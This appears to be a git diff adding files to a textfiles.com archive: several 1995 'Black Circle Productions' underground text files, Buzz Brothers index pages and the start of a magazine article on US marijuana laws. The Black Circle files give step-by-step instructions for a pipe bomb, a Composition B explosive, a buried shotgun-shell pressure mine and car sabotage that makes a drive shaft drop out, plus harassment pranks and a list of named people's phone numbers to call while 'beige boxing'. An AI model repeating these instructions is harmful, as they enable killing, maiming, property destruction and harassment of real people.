attach it to the bottom for back up. That way + if your in the woods and billy bob comes up on + you right after you just fired it, you could + nuke him and go home. well thats about all i + can think to do with that cannon. who knows + maybe i'll discover some more and make a part + 3. Well have fun.. + + + + + + BLACK CiCRLE PRODUCTiONS is in need of more members. + if you think you can offer something call The + BcP WHQ The X-Files at 919-881-9131. or leave + mail to: + + lars@merlin.nando.net + + OR join the BcP Channel on IRC #bcp + + +BLACK CiRCLE PRODUCTiONS '95 + diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-car.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-car.txt new file mode 100644 index 00000000..de8ce678 --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-car.txt @@ -0,0 +1,69 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [2/24/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Car Revenge ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + there are lots of things that you can do to + someones car to really get revenge. here is a + few ideas to get your mind rolling. + + - Drain out the Winshield Washer fluid and replace + it with Paint Remover. + + - Pour Drano in the Radiator. This will eat away + all of the cooling system. + + - Put several drops of sunk oil (can be gotten at + most hunting stores) on sparkplug recess areas. this + will cause the car and everyone in it to stink. + + - Get the powder from a Road fuse and put it in + the cigeratte lighter. when the lighter gets pushed + in, the powder will light. + + - Get a peace od bicycle tube and cut it so that it + is just a tube. the get a pipe clamp and clamp the + tube on the tailpipe. next time the car starts it will + sound like a super fart machine. + + - Replace a regulat gascap with a locking one. + + - Epoxy glue sheets of newspaper to the winshield + + - Remove the U-bolt from under the drive shaft and + loosen the other. 5 miles down the road the drive + shaft will fall out. + + - unscrew the oil drainage screw except for 2 or + 3 turns. then the crankcase goes to heaven. + + - put a pound of sand in the crankcase.. + + + well thats the basics, have fun. + + + + + + BLACK CiCRLE PRODUCTiONS is in need of more members. + if you think you can offer something call The + BcP WHQ The X-Files at 919-881-9131. or leave + mail to: + + lars@merlin.nando.net + + OR join the BcP Channel on IRC #bcp + + +BLACK CiRCLE PRODUCTiONS '95 + diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-comb.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-comb.txt new file mode 100644 index 00000000..b08e6619 --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-comb.txt @@ -0,0 +1,68 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [2/17/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Composition B ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + ok first i will tell you what composition + B is. it is a military explosive that + was used before C-4. it is a high explosive + and should be used with care. now heres how + we make it. + + (**** Materials ****) + Instant Cold pack (make sure the active ingredent is + Ammonium Nitrate. Called AN) + Candles + a pipe bomb or blasting cap. + + + makeing this is very easy. First go get your cold + packs and cut them open. you will find AN and some + water in a bag. Carefully take out the water and save + the AN in an air tight bag. get alot of it then + get your candles. put them into a pot and melt them + down. add the AN and stir until it dissolves. then + find a contair and pour the Molten wax in it. before + it dries, put the pipe bomb in it so that it is all + the way in it and just the very top is sticking out. + let it dry then wrap it up with duck tape so it wont + fall apart. now all you have to do is light the fuse + and run.... fast.. + + + well thats it. BcP is in need of writers and programers, + so if you want to join, fill out an app. we are accepting + just about any one that has some talent. u/l the app to + lars on the X-files BcP WHQ. + + + BLACK CiRCLE PRODUCTiONS '95 + + + + + + + + + + + + + + + + + + + + diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-fun.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-fun.txt new file mode 100644 index 00000000..0925f4ff --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-fun.txt @@ -0,0 +1,67 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [03/10/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Fun Numbers ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + + +Here are some Fone numbers that you might wish to +call while beige boxing one night. + +National States' Rights Party 404-427-0283 +Nazis in Arlington 703-524-2175 +Nazis in Chicago 312-863-8700 +Nazis in Cleveland 216-631-6448 +Liberty Lobby 703-525-3223 + +KKK Chapters +David Duke 404-835-7959 +Harold Covington 919-834-0063 +Bill Wilkinson 504-655-1018 +Fred Wilkins 303-232-8114 +Fallbrook Ca. 714-728-0280 +San Diego Ca. 714-563-4555 +Anaheim Ca. 714-750-7848 +Lakewood Colo. 303-232-8373 + +Other +Phyliss Schlaffy 618-462-5415 +G. Gordon Liddy 301-567-3607 +David Atlee Philips 301-365-2238 +Peter Bourne 202-462-7266 +William Colby 301-320-4646 +Richard Helms 202-686-1560 +Bernard Barker 305-266-2220 +L. Patrick Gray 203-535-1685 + + +Have Fun... + + + + + + + + + BLACK CiCRLE PRODUCTiONS is in need of more members. + if you think you can offer something call The + BcP WHQ The X-Files at 919-881-9131. or leave + mail to: + + lars@merlin.nando.net + + OR join the BcP Channel on IRC #bcp + + +BLACK CiRCLE PRODUCTiONS '95 + diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-mcd.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-mcd.txt new file mode 100644 index 00000000..2b8c16a0 --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-mcd.txt @@ -0,0 +1,72 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [2/24/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Fun at McDonalds ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + + Its hard to belive, but a bored person can have + about the most fun at a McDonalds. Here are a + few tricks that I find amusing. + + - Get all the plastic trays on top of the trash can + and throw them in it. This is fun to do on busy days + when the trash must be changed every hour. + + - Go climb in the kidde play area. Fun to make an + ass of your self. Some newer McDonalds have big + tunnels and stuff to play in. just hide in one and + charge a passage through it, or jut act like some + satanic killer and scare all the kids. + + - playing with the food orders is fun too. Like + say "i want a big mac" and after they ring it up + change your mind. If you hear a printing machine + running it means that they are typing out your order. + changing it causes lots of work for the employees. + order things like a Large coke with 4 pieces of ice, + or a hamburger with ketchup mustard, and then throw in + cheese. 9 out of 10 cashiers are to dense to pick this + up and then you get a cheeseburger at a reduced cost. + + - if you have a CB ham radio you can talk shit to + the drive through operator and really fuck up orders. + just jump on and say stuff like "i want 10 big macs" + only the employee will hear it and when billy goes to + get his happy meal they try to give him 10 big macs. + lots of fun. + + - look at the back of McDonalds. you can find a bucket + of toxic ooze. i think its really fat back or something, + but just dumb this out in the parking lot. the whole place + will stick, attract bugs, and be slick as hell. + + - Most McDonalds have free refills. Just ask for one + then dumb it on your head. Keep doing this until + they think your physco and kick you out. + + well thats it have fun.. + + + + + BLACK CiCRLE PRODUCTiONS is in need of more members. + if you think you can offer something call The + BcP WHQ The X-Files at 919-881-9131. or leave + mail to: + + lars@merlin.nando.net + + OR join the BcP Channel on IRC #bcp + + +BLACK CiRCLE PRODUCTiONS '95 + diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-mine.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-mine.txt new file mode 100644 index 00000000..66b3eab5 --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-mine.txt @@ -0,0 +1,50 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [2/24/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Home Made Mines ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + + + Making a mine is very easy. here is what you + need. + + - Plank of wood. + - shotgun shell + - nails + - brick + + + nail nails around the brick and on to the board. + you should have a brick that has the 3 holes in + the side of it. now make it so that a nail is + sticking in the middle of one of the holes. + now put the shotgun shell so that the primer + is on the nail. when pressure is applied to + it the shotgun shell will go off sending shot + going everywhere. now all you have to do is go + and bury it. + + + + + BLACK CiCRLE PRODUCTiONS is in need of more members. + if you think you can offer something call The + BcP WHQ The X-Files at 919-881-9131. or leave + mail to: + + lars@merlin.nando.net + + OR join the BcP Channel on IRC #bcp + + +BLACK CiRCLE PRODUCTiONS '95 + diff --git a/textfiles.com/groups/BLACKCIRCLE/bcp-pipe.txt b/textfiles.com/groups/BLACKCIRCLE/bcp-pipe.txt new file mode 100644 index 00000000..d301c7a3 --- /dev/null +++ b/textfiles.com/groups/BLACKCIRCLE/bcp-pipe.txt @@ -0,0 +1,48 @@ +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ßÛßßÜ ÜßßßÜ ßÛßßÜ ³ ³ +³ Û Û Û Û Û ³ ³ +³ ßÛßßßÛ Û ßÛßßß ³ Written by : Lars ³ +³ Û Û Û Û ³ File Type : Text ³ +³ ß ßßß ßÜÜÜÜß ß ³ Packaged by : Lars ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Release Date [2/03/95] ³ +³BLACK CiRCLE PRODUCTiONS³ ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ +³ Pipe Bombs ³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + + + + Well here is how you make a Pipe Bomb. All you + Need is some Pyrodex (or Gunpowder) and some pipe + with caps. Now doing this is very simple, Just get + your pipe ( I recommend 1/2 ft of 3/4 inch Pipe) and + drill a hole in one of the caps. Fill the pipe up with + Pyrodex and screw on both caps. insert a fuse through + the hole that you drilled and you have a pipe Bomb. + Pipe Bombs such as The one I recommened Can take out + cars if placed in the right spot. They are very + Dangerous and if you blow off your hand dont come + and tell me. + + + + More Pyrotechnic Files to come + + - Time Detonator + - Compositon B + - PVC Pipe Cannon + + +BLACK CiRCLE PRODUCTiONS '95 +Brought to you by a mad Ape man with a gun. + + + + + + + + + diff --git a/textfiles.com/groups/BUZZ.1 b/textfiles.com/groups/BUZZ.1 new file mode 100644 index 00000000..f99cacad --- /dev/null +++ b/textfiles.com/groups/BUZZ.1 @@ -0,0 +1,44 @@ + +T E X T F I L E S + +

Groups: The Buzz Brothers

+

+The Buzz Brothers seem to be predominantly occupied with the legalization +of drugs, and cite many articles, statistics, and general essays on why +this is a good idea. They're literate, they're clear, and they're easy +to read. For some reason, they go into some other subjects, such as +area code lists and lists of dirty words, but their hearts are sort +of in the right place. +

+ + + + + +
+
Filename
Size
Description of the Textfile
bbros-01.txt 21769
 Buzz Brothers Present: Injustice for All: A Guide to US Pot Laws +
bbros-02.txt 40063
 Buzz Brothers Present: Sex, Ecstacy and the Psychedelic Drugs by R.E.L. Masters +
bbros-03.txt 24703
 Buzz Brothers Present: The 312 and 708 Prefix Directory +
bbros-04.txt 21050
 Buzz Brothers Present: 20 Questions for Chuck D, Public Enemy's Number 1 +
bbros-05.txt 8217
 Buzz Brothers Present: The Adventures of Spaced-Out Spliff +
bbros-06.txt 27855
 Buzz Brothers Present: Testament: The High Times Interview +
bbros-07.txt 11670
 Buzz Brothers Present: When Venus Crosses Mars, by Havoc +
bbros-08.txt 4008
 Buzz Brothers Present: Liber Ozma, by The Subliminal Kid +
bbros-09.txt 20892
 Buzz Brothers Present: The Supreme Bunch of Injustices versus Peyote +
bbros-10.txt 11740
 Buzz Brothers Present: The Supreme Bunch of Injustices vs. Peyote Part II +
bbros-11.txt 17115
 Buzz Brothers Present: Green Merchant: The First 18 Months by Peter Gorman +
bbrosn01.txt 21682
 The Buzz Brothers Present Injustice for All, a Guide to US Pot Laws +
bbrosn02.txt 40039
 The Buzz Brothers Present Sex, Ecstasy and the Psychadelic Drugs +
bbrosn03.txt 24571
 The Buzz Brothers Present The 312 and 708 Prefix Directory +
bbrosn04.txt 21112
 The Buzz Brothers Present 20 Questions for Chuck D +
bbrosn05.txt 8505
 The Buzz Brothers Present The Adventures of Spaced-Out Spliff +
bbrosn06.txt 27920
 The Buzz Brothers Present Testament: High Times Interview +
bbrosn07.txt 11740
 The Buzz Brothers Present When Venus Crosses Mars, by Havoc +
bbrosn08.txt 3748
 The Buzz Brothers Present Liber Ozma +
bbrosn09.txt 20738
 The Buzz Brothers Present The Supreme Bunch of Injustices vs. Peyote Part 1 +
bbrosn10.txt 11735
 The Buzz Brothers Present The Supreme Bunch of Injustices vs. Peyote 2 +
bbrosn11.txt 17220
 The Buzz Brothers Present Green Merchant: The First 18 Months +
bbrosn13.txt 43981
 The Buzz Brothers Present 2,443 Filthy Words and Phrases +
bbrosn14.txt 38685
 The Buzz Brothers Present 2,443 Filthy Words and Phrases II +

There are 24 files for a total of 500,758 bytes.
+ diff --git a/textfiles.com/groups/BUZZ/.windex.html b/textfiles.com/groups/BUZZ/.windex.html new file mode 100644 index 00000000..0c61c8c6 --- /dev/null +++ b/textfiles.com/groups/BUZZ/.windex.html @@ -0,0 +1,44 @@ + +T E X T F I L E S + +

Groups: The Buzz Brothers

+

+The Buzz Brothers seem to be predominantly occupied with the legalization +of drugs, and cite many articles, statistics, and general essays on why +this is a good idea. They're literate, they're clear, and they're easy +to read. For some reason, they go into some other subjects, such as +area code lists and lists of dirty words, but their hearts are sort +of in the right place. +

+ + + + + +
+
Filename
Size
Description of the Textfile
bbros-01.txt 21769
 Buzz Brothers Present: Injustice for All: A Guide to US Pot Laws +
bbros-02.txt 40063
 Buzz Brothers Present: Sex, Ecstacy and the Psychedelic Drugs by R.E.L. Masters +
bbros-03.txt 24703
 Buzz Brothers Present: The 312 and 708 Prefix Directory +
bbros-04.txt 21050
 Buzz Brothers Present: 20 Questions for Chuck D, Public Enemy's Number 1 +
bbros-05.txt 8217
 Buzz Brothers Present: The Adventures of Spaced-Out Spliff +
bbros-06.txt 27855
 Buzz Brothers Present: Testament: The High Times Interview +
bbros-07.txt 11670
 Buzz Brothers Present: When Venus Crosses Mars, by Havoc +
bbros-08.txt 4008
 Buzz Brothers Present: Liber Ozma, by The Subliminal Kid +
bbros-09.txt 20892
 Buzz Brothers Present: The Supreme Bunch of Injustices versus Peyote +
bbros-10.txt 11740
 Buzz Brothers Present: The Supreme Bunch of Injustices vs. Peyote Part II +
bbros-11.txt 17115
 Buzz Brothers Present: Green Merchant: The First 18 Months by Peter Gorman +
bbrosn01.txt 21682
 The Buzz Brothers Present Injustice for All, a Guide to US Pot Laws +
bbrosn02.txt 40039
 The Buzz Brothers Present Sex, Ecstasy and the Psychadelic Drugs +
bbrosn03.txt 24571
 The Buzz Brothers Present The 312 and 708 Prefix Directory +
bbrosn04.txt 21112
 The Buzz Brothers Present 20 Questions for Chuck D +
bbrosn05.txt 8505
 The Buzz Brothers Present The Adventures of Spaced-Out Spliff +
bbrosn06.txt 27920
 The Buzz Brothers Present Testament: High Times Interview +
bbrosn07.txt 11740
 The Buzz Brothers Present When Venus Crosses Mars, by Havoc +
bbrosn08.txt 3748
 The Buzz Brothers Present Liber Ozma +
bbrosn09.txt 20738
 The Buzz Brothers Present The Supreme Bunch of Injustices vs. Peyote Part 1 +
bbrosn10.txt 11735
 The Buzz Brothers Present The Supreme Bunch of Injustices vs. Peyote 2 +
bbrosn11.txt 17220
 The Buzz Brothers Present Green Merchant: The First 18 Months +
bbrosn13.txt 43981
 The Buzz Brothers Present 2,443 Filthy Words and Phrases +
bbrosn14.txt 38685
 The Buzz Brothers Present 2,443 Filthy Words and Phrases II +

There are 24 files for a total of 500,758 bytes.
+ diff --git a/textfiles.com/groups/BUZZ/bbros-01.txt b/textfiles.com/groups/BUZZ/bbros-01.txt new file mode 100644 index 00000000..443d7b11 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-01.txt @@ -0,0 +1,552 @@ + + *=-- --=* + { In the name of Truth, Justice and the American Way } + (not mention lime green buds, extra fat doses, and a case of Beck's) + { } + *=-- --=* + *=-- --=* + { the } + -=/*> Buzzz Bros <*\=- + present.. + + INJUSTICE FOR ALL + a guide to US pot laws + by Judy McGuire + + text entry by Major Havoc + { } + *=-- --=* + + this article originally appeared in HIGH TIMES, May 1989 + + + + + + + In a hearing held last September, DEA chief administrative law judge Francis +L. Young declared marijuana to be "one of the safest therapeutically active +substances known to man." Citing reliable medical authorities, Young stated +that "There are simply no credible medical reports that suggest that consuming +marijuana has caused a single death." Young went on to say, "By contrast, +aspirin, a commonly used medicine, causes hundreds of deaths each year." + + Despite Judge Young's ruling that pot is safer than aspirin, thousands of +Americans are persecuted, prosecuted, harassed and jailed each year because of +the stigma attached to this relatively harmless drug. The recent passing of +the Omnibus Anti-Drug Bill marks the climax of the anti-drug hysteria that has +been building for the last eight years. And with the ultra-conservative Bush +administration taking over, things don't look as if they'll be improving +anytime soon. + + STATE BY STATE + + Leaving the new Omnibus Anti-Drug Act and all other federal laws aside, +individual states still have widely varying statutes regarding the possesion, +cultivation, and sale of marijuana. What will get you one year in Tucson, may +only get you a small fine in Toledo. Some states, like Oregon, are very +leniant when it comes to possesion, but watch out if they nail you for growing. +Even one plant can get you a 20-year sentence and a one $100,000 fine! The +discrepancy between laws of different states is confusing, to say the least. + + Alabama, Alaska, Arkansas, Colorado, Maine, Maryland, Massachusetts, New +York, Oklahoma and Oregon are states that distinguish, and give lesser +penalties for, persons caught with small amounts deemed for "personal use" in +private. The same amount used or displayed in public reaps a harsher penalty. +North Dakota and Mississippi both have provisions in their laws for marijuana +found in vehicles, making possessionviolation much more serious; both states +change a fine into possible jail time. New Jersey has a two-year loss of +driver's license provision attached to its already stiff possession penalty. + + Quite a few states, Arizona and New Jersey among them, doubled the penalties +if the drug violation occurs within 1,000 feet of a school even if you are +busted for drugs in your own home! It makes no difference if school is in +session -- it could be 2 AM, mid-July, or during recess -- minors don't even +have to be anywhere near the bust. + + On the other hand, it's very possible you might have to spend the rest of +your life in jail if you're caught cultivating or selling large amounts of +weed in Montana, Missouri, or Nevada. + + Although it's not quite a life sentence, Arkansas, Connecticut, Oregon, +Florida, Louisiana, Virginia, Rhode Island, Texas, Oklahoma, Mississippi and +North Carolina slam the large scale grower/salesperson with a possible 30-year +incarceration. North Carolina's law has a new mandatory minimum sentence of 35 +years for possession, sale, or cultivation of over 10,000 pounds. + + + FORFEITURE + + Many states have forfeiture provisions written into their drug laws, making +properties attached to the drug offenders liable to seizure by the state. On +the federal level, the US Customs Service's "Zero Tolerance" crackdown, netted +the service a fleet of luxury yachts in the lsat year. The ever-zealous Coast +Guard, which can seize boats found to be carrying even the smallest amount of +drugs, confiscated one unlucky man's yacht after finding a few seeds and two +stems on board. Possibly the most famous case of boat seizure came when the +infamous "Monkey-Business" -- the "love boat" of would be presidential nominee +Gary Hart and paramour Donna Rice -- was impounded after the Coast Guard found +one joint on it. Only after paying a hefty fine was the vessel returned to its +owners. + + Forfeiture provisions are not limited to boats. The Federal government can +seize property involved in any kind of drug activity. In Illinois, the Justice +Department seized a suspected drug-dealer's gas station. They later returned +the property to his widow after discovering that the business came with an +outstanding $125,000 bill from the Illinois Environmental Protection Agency for +emergency cleanup. A Florida man, arrested by the US Border Patrol with a +small amount of marijuana and more than $400,000 cash in his car, wound up +being with possession of less than one ounce of marijuana -- a charge which +was later dismissed -- but ended losing his bankroll. Government prosecutors +deemed that the money should be forfeited because the man was allegedly on his +way to purchase a large amount of marijuana -- a charge he denies. + + After stopping a car for a routine traffic violation, a Florida Highway +Patrol trooper confiscated $8,180 in cash when the driver could not give the +officer an "acceptable" explanation for carrying such a large wad. The cost +of litigation involved in small forfeiture cases often discourages the victim +of wrongful seizure from fighting the case in court. + + State governments usually have different forfeiture guidelines for different +amounts and types of drugs. These guidelines include the forfeiture of drug +containers, cars, money, and other valuables. But in California and many other +states they can't seize your car if it's your family's sole means of +transportation. + + Only 17 states currently have the same type of real estate forfeiture +provisions that are already written into Federal Law. This figure is sure to +change for the worse in the next few years, so that not only can the US +government take your home, but the local sherrif's department can join in the +bounty-hunt as well. + + CONSTITUTION? WHAT'S THAT? + + Getting illegally-obtained evidence to stand up in court has always been a +constitutional nightmare for prosecutors. Illegal searches (those carried out +without a warrant or probable cause) are usually considered uncontitutional and +the evidence contained from them thrown out of court. However, a recent US +Supreme Court decision allowed prosecutors in Florida to introduce eveidence +gathered by police using a helicopter. The whirly-bird flew 400 feet over a +greenhouse that had marijuana plants growning in it, visible only from the sky. +The police used the information gathered from the flight to obtain a warrant, +but the Florida Supreme Court ruled it an unconstitutional search. The US +Supreme Court disagreed -- a fixed-wing aircraft can fly no lower than 500 +feet, but since there are no regulations regarding helicopters, this was not +considered invasion of privacy. + + In yet another case of civil rights erosion, a Florida State Court of Appeals +ruled that police can search passengers' luggage on public busses at random. +No reason necessary -- a funny haircut, suspicious walk, and your privacy is +history. + + THOSE MADCAP POLICIANS.. + + As if the current climate weren't hostile enough towards pot smoking +citizens, there are always a few politicians ready to make things even more +oppressive For example, the Tennesee Sherrif's Association feels that anyone +convicted of hawking drugs to a minor should be executed! This would include +first-offense sale of marijuana to a teenager. + + A bill introduced in the Delaware State Senate would bring back public +whippings as punishment for those convicted of drug offenses. Delaware, the +last state to abandon the whipping post (in 1952), still had corporal punshment +on the books until the early '70s. Democratic leader Senator Thomas B. Sharpe +feels that the drug problem is serious enough to warrant restoring this +sadistic practice. The ACLU, which vehemently disagrees, is currently +investigating the constitutionality of the whipping post. + + Representative Al Edwards of Texas has a novel, not mention morbid, idea for +dealing with drug dealers. The bill he's sponsering calls for dealers to lose +the tip of a little finger the first time they're convicted. With eace +subsequent conviction, they would lose a full finger. + + While these penalties seem farfetched, these are the opinions of the people +running this country! Drugs are being used as a scapegoat for the problems +that America faces today -- homelessness, AIDS, unemployment, crime, and +hunger. The politicians feel it's easier and safer to attack drugs than it is +to deal with deeper and more controversial issues. And they don't care if they +end up shredding the Constitution to do it. + + STATE-BY-STATE COMPARISON OF THE MARIJUANA LAWS + compiled by the National Organization for the Reform of Marijuana Laws + (NORML) + + +ALABAMA: +Possession: 0-2.2 lbs. For Personal Use: 0-1 yr & $1,000 +0-2.2 lbs. Not For Personal Use: 2-15 yrs & $25,000 +2.2-2,000 lbs.: 3-15 yrs & $25,000 +Over 10,000 lbs.: 15 yrs & $200,000 +Cultivation/Sale: 0-2.2 lbs: 2-15 yrs & $25,000 +2.2-2000 lbs.: 3-15 yrs & $25,000 +2,000-10,000 lbs.: 5-15 yrs & $50,000 +Over 10,000 lbs.: 15 yrs & $200,000 + +ALASKA: +Possession/Cultivation: Legal for personal use in home +Any amount for personal use not in home: 0-$100 +Public Display of up to 1 oz. or possession of 4 or more oz.: 0-90 days & $1000 +Sale up to 1 oz.: 0-1 yr & $1,000 +Over an oz.: 0-5 yrs & $5,000 + +ARIZONA +Possession: Up to 1 lb.: 1.5 yrs & $750-$150,000 +1-8 lbs.:4 yrs & $750-$150,000 +8 lbs.: 7 yrs & $750-$150,000 + +Cultivation/Sale: Same as possession for over 1 lb. +Arizona also has provisions requiring community service and drug treatment for +people convicted for any pot crime. +Laws regarding drug sales near schools eliminate any chance of parole until all +of the sentence is served as well as imposing a minimum $2,000 fine. + +ARKANSAS +Possession: Up to 1 oz: 0-1 yr & $1,000 +1 oz-10 lbs.: 4-10 yrs & $25,000 +10-100 lbs.: 6-30 yrs & $100,000 +Cultivation/Sale: Up to 1 oz:2-10 yrs & $10,000 +Over an oz same as possession charge + +CALIFORNIA +Possession: Up to 1 oz: 0-$100 +Over an oz: 0-6 mos & $500 +Cultivation: 16 mos-3 yrs +Sale: 2-4 yrs + +COLORADO +Possession: Up to an oz in private: 0-$100 +In Public: 0-15 days & $100 +1-8 oz: 0-2 yrs & $500 +8 oz or more: 1-2 yrs +Cultivation/Sale: Any amount 2-4 yrs +Second Offense possession of any amount over an oz subsequent to a prior pot +offense carries a penalty of 6 mos-2 yrs. For 8 or more oz: 3-8 yrs & +$2,000-$5,000 + +CONNECTICUT +Possession: Up to 4 oz: 1 yr & $1,000 +Over 4 oz: 0-5 yrs & $2,000 +Cultivation/Sale: Up to 2.2 lbs: 0-7 yrs & $1,000 +Over 2.2 lbs: 5-20 yrs +No suspended sentences unless the person is drug dependant + +DELAWARE +Possession: Up to 50 lbs: 0-2 yrs & 